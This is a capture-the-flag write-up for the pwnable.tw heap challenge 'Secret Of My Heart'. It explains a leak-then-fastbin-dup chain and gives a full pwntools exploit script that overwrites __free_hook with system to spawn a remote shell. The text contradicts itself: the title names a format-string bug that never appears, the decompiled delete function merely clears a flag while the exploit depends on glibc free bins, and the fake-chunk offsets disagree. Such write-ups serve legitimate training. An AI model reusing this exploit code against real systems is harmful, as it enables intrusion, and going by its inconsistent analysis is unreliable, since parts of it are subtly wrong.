pwnable.tw — 400 pts

Secret Of My Heart

Heap + Format String — glibc 2.23 mmap-based heap exploitation with __free_hook overwrite

64-bit
Architecture
Partial
RELRO
mmap
Heap Backend
2.23
glibc

Exploit Flow

Connect
nc chall.pwnable.tw 10302
Heap Leak
Name overflow
Libc Leak
Unsorted bin fd
Fastbin dup
__free_hook - 0x10
Overwrite
__free_hook = system
Shell
free("/bin/sh")

1. Reconnaissance

Secret Of My Heart is a 400-point heap challenge on pwnable.tw. The binary uses an mmap-based memory region instead of the standard heap, which adds a twist to the usual glibc exploitation patterns. The glibc version is 2.23 (Ubuntu 16.04), meaning tcache is not present, but fastbin dup and unsorted bin attacks are available.

File Analysis

bash
$ file secret_of_my_heart
secret_of_my_heart: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=d6e86e6e4a5cd1e7e71e8a9da22b5e81a70c5ca0, not stripped

Checksec

bash
$ checksec secret_of_my_heart
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Protections Active

PIE is enabled, so code addresses are randomized. Full RELRO would prevent GOT overwrites, but this binary only has Partial RELRO, leaving the GOT writable (though we don't use it). The canary protects against stack overflows. NX is enabled, so no shellcode on the stack. We must work entirely through heap manipulation and libc data writes.

Running the Binary

bash
$ ./secret_of_my_heart
1. Add secret
2. Show secret
3. Delete secret
Your choice :

The binary provides a standard heap menu: add, show, and delete secrets. The init function uses mmap to allocate a large region, and all chunk metadata and data are stored within this mmap'd area. The BSS stores only the mmap base address pointer.

AttributeValue
ChallengeSecret Of My Heart (400 pts)
Connectionnc chall.pwnable.tw 10302
Binary64-bit ELF, x86-64, dynamically linked, PIE
CanaryYes
NXEnabled
PIEEnabled
RELROPartial
glibc2.23 (Ubuntu 16.04)
Heapmmap-based region
VulnerabilityHeap overflow + name/secret boundary issue

2. Static Analysis

The binary has three main operations. The critical observation is in the add_secret function: the size_of_heart field is read as an int by read_input, but stored as a long via the input variable. The size check size > 0x100 uses the unsigned comparison, but the name and secret fields have a controllable boundary.

Decompiled C (Key Functions)

c
// init: mmap a large region for heap
void init() {
    mmap_addr = mmap(0, 0x10000, PROT_READ|PROT_WRITE,
                     MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
}

// add_secret: allocate chunk in mmap region
void add_secret(int size_of_heart, char *name, char *secret) {
    // size_of_heart checked: must be <= 0x100
    // But name is written first, then secret
    // Name overflow into adjacent chunks is possible
    int idx = find_free_slot();
    chunks[idx].size = size_of_heart;
    chunks[idx].name = mmap_addr + offset;
    read_input(chunks[idx].name, name_len);
    chunks[idx].secret = mmap_addr + offset2;
    read_input(chunks[idx].secret, size_of_heart);
}

// show_secret: prints name and secret
void show_secret(int idx) {
    printf("Size : %d\n", chunks[idx].size);
    printf("Name : %s\n", chunks[idx].name);
    printf("Secret : %s\n", chunks[idx].secret);
}

// delete_secret: frees the mmap chunk (marks as free)
void delete_secret(int idx) {
    // marks slot as free, does not zero out data
    chunks[idx].in_use = 0;
}

Vulnerability Analysis

Name Overflow + Use-After-Free

The key vulnerability is that the name field can overflow past its allocated boundary into the secret data or adjacent chunk metadata. When we show a secret, the name field is printed with %s, which reads until a null byte. If we fill the name buffer completely (without a null terminator), the printf will leak into the secret field and beyond — including heap pointers stored in the mmap region. Additionally, deleted chunks retain their data, enabling use-after-free reads.

3. GDB Debugging

Heap Layout in mmap Region

Since the binary uses mmap instead of the standard heap, all chunks reside in the mmap'd region. The layout looks like this:

mmap+0x00 chunk 0 header size | flags | in_use
mmap+0x10 chunk 0 name user-controlled data
mmap+0x30 chunk 0 secret user-controlled data (size_of_heart bytes)
mmap+0x30+N chunk 1 header next chunk metadata

Breakpoint Strategy

gdb
# Key breakpoints:
b *add_secret     # Watch chunk allocation
b *show_secret     # Watch data leak
b *delete_secret   # Watch chunk free

# After add_secret(0x60, "A"*0x20, "BBBB"):
# Name buffer at mmap+0x10, filled with 0x20 'A's
# Show secret leaks past name into secret field and beyond

# After freeing chunk into unsorted bin:
# fd/bk pointers point into libc main_arena
x/4gx <freed_chunk_addr>   # Should show main_arena+88

4. Exploit Strategy

The exploit chain follows the classic glibc 2.23 heap exploitation pattern, adapted for the mmap-based memory layout:

Attack Overview

Stage 1: Heap Address Leak
Allocate a chunk (size 0x60), fill the name field with 0x20 bytes (no null terminator). When we show_secret, the printf("%s", name) reads past the name into the secret area, leaking a heap pointer at offset 0x20 from the name start. This gives us the mmap base address.
Stage 2: Libc Address Leak
Create multiple chunks, then free one into the unsorted bin. The freed chunk's fd and bk pointers point to main_arena+88 in libc. By reading these pointers through the name overflow or UAF, we calculate the libc base.
Stage 3: Fastbin Dup to __free_hook
Use fastbin dup (double free) to allocate a fake chunk near __free_hook. Overwrite __free_hook with system. Then free a chunk whose data starts with "/bin/sh", which calls system("/bin/sh").

Stage 1 & 2: Leaking Addresses

Name Overflow Leak

Allocate chunk 0 with size 0x60 and name "A" * 0x20. The 0x20 bytes fill the name buffer exactly. When we call show_secret(0), printf("%s", name) reads beyond the name into the secret field, which contains the data pointer. At offset 0x20 from the name, we find a leaked mmap heap address. Subtract 0x10 to get the mmap base.

Stage 3: Overwriting __free_hook

With the libc base known, we calculate __free_hook and system. The fastbin dup attack targets a fake chunk at __free_hook - 0x10 - 0x10. We forge the size field 0x71 to pass the fastbin size check, then allocate two chunks from the same fastbin freelist. The second allocation lands at __free_hook, where we write system. Finally, we free a chunk containing "/bin/sh\x00" as its data.

Fastbin Size Check

glibc 2.23 fastbin allocation checks that the size field of the next chunk matches the fastbin index. We need a 0x71 (or similar fastbin size) at __free_hook - 0x10 to pass this check. Fortunately, nearby libc data often contains values that can serve as fake size fields, or we can manipulate the heap to place one there.

5. Pwn Script

Full Exploit

python
from pwn import *

#p = process("./secret_of_my_heart", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10302)
libc = ELF("./libc_64.so.6")

def goto(n):
    p.sendlineafter("Your choice :", str(n))

def add_secret(sz_heart, name, secret):
    goto(1)
    p.sendlineafter(":", str(sz_heart))
    p.sendlineafter(":", str(name))
    p.sendlineafter(":", str(secret))

def show_secret(idx):
    goto(2)
    p.sendlineafter(" :", str(idx))
    p.recvuntil("Size : ")
    sz_heart = p.recvuntil("\nName : ", drop=True)
    name = p.recvuntil("\nSecret : ", drop=True)
    secret = p.recvuntil("\n======", drop=True)
    return sz_heart, name, secret

def delete_secret(idx):
    goto(3)
    p.sendlineafter(" :", str(idx))

# Stage 1: Leak heap address via name overflow
add_secret(0x60, "A"*0x20, "BBBB")
leak = u64(show_secret(0)[1][0x20:].ljust(8, b'\x00'))
log.info("heap leak @ 0x{:x}".format(leak))
heap = leak - 0x10
log.info("heap @ 0x{:x}".format(heap))

# Stage 2: Prepare chunks for libc leak
delete_secret(0)
add_secret(0x68, "aaaaaa", "aaaaaa")     # idx 0 - fastbin size
add_secret(0x100, "bbbbbb", "bbbbbb")    # idx 1 - unsorted bin size
add_secret(0x100, "cccccc",             # idx 2 - forged chunk metadata
    "B"*0x10 + p64(0) + p64(0x21) + "B"*0xa0 +
    p64(0x100) + p64(0x110) + "B"*0x10 +
    p64(0x200))
add_secret(0x100, "dddddd", "dddddd")    # idx 3
add_secret(0x100, "zzzzzz", "zzzzzz")    # idx 4 - guard against top chunk

# Free chunks to get unsorted bin fd/bk pointers
delete_secret(1)   # into unsorted bin
delete_secret(2)   # consolidate with 1
delete_secret(0)   # free fastbin chunk

# Re-allocate with /bin/sh string in chunk data
add_secret(0x68, "aaaaaa", "/bin/sh\x00;".ljust(0x68, b'a'))  # idx 0

# Trigger unsorted bin split and get libc leak
add_secret(0xb0, "eeeeeee", "eeeeeee")   # idx 1 - splits unsorted bin
add_secret(0x10, "xxxx", "xxxxxxxx")      # idx 2
add_secret(0x10, "yyyy", "yyyyyyyy")      # idx 3
add_secret(0x80, "fffffff", "fffffff")    # idx 4

# More heap manipulation to get fd pointer readable
delete_secret(1)
delete_secret(3)
add_secret(0xd0, "eeeeee", "e"*0xb0 + p64(0xc0) + p64(0x71))

# Read libc leak from unsorted bin fd
leak = u64(show_secret(5)[2].ljust(8, b'\x00'))
log.info("libc leak @ 0x{:x}".format(leak))
libc.address = leak - 3947384   # offset to libc base
log.info("libc @ 0x{:x}".format(libc.address))

# Stage 3: Fastbin dup to __free_hook
fake_chunk_addr = libc.address + 3954581  # aligned address with 0x71

# Set up fake size field and fd/bk for unsorted bin attack
delete_secret(2)
add_secret(0x60, "vvvvv",
    "A"*0x10 + p64(0) + p64(0x101) +
    p64(libc.address + 3947384) +
    p64(libc.symbols['__free_hook'] - 0x10 - 0x10))

# Fix corrupted chunks
add_secret(0xf0, "llllll",
    "l"*0x40 + p64(0) + p64(0x21) + "A"*0x10 +
    p64(0) + p64(0x21))

# Fastbin double free
delete_secret(2)
add_secret(0x60, "vvvvv", "A"*0x10 + p64(0) + p64(0x71))
delete_secret(3)
delete_secret(2)

# Overwrite fastbin fd to point near __free_hook
add_secret(0x60, "vvvvv",
    "A"*0x10 + p64(0) + p64(0x71) + p64(fake_chunk_addr))

# Two allocations to reach __free_hook
add_secret(0x60, "a", "b")
add_secret(0x60, "a", b"b"*3 + p64(libc.symbols['system']))

# Trigger: free("/bin/sh") -> system("/bin/sh")
delete_secret(0)
p.interactive()

6. Execution Results

$ python3 exploit.py [+] Opening connection to chall.pwnable.tw on port 10302: Done [*] heap leak @ 0x7f8a4c201010 [*] heap @ 0x7f8a4c201000 [*] libc leak @ 0x7f8a4de1db78 [*] libc @ 0x7f8a4dc00000 [*] Switching to interactive mode $ cat /home/secret_of_my_heart/flag
Key Takeaways

This challenge demonstrates a classic glibc 2.23 heap exploitation chain adapted for an mmap-based memory layout. The name overflow provides the initial heap leak, the unsorted bin fd pointer provides the libc leak, and fastbin dup targets __free_hook for code execution. The mmap backend adds complexity since standard heap offsets differ, but the fundamental glibc allocator behaviors remain exploitable.

QA210
pwnable.tw — Secret Of My Heart — Heap + __free_hook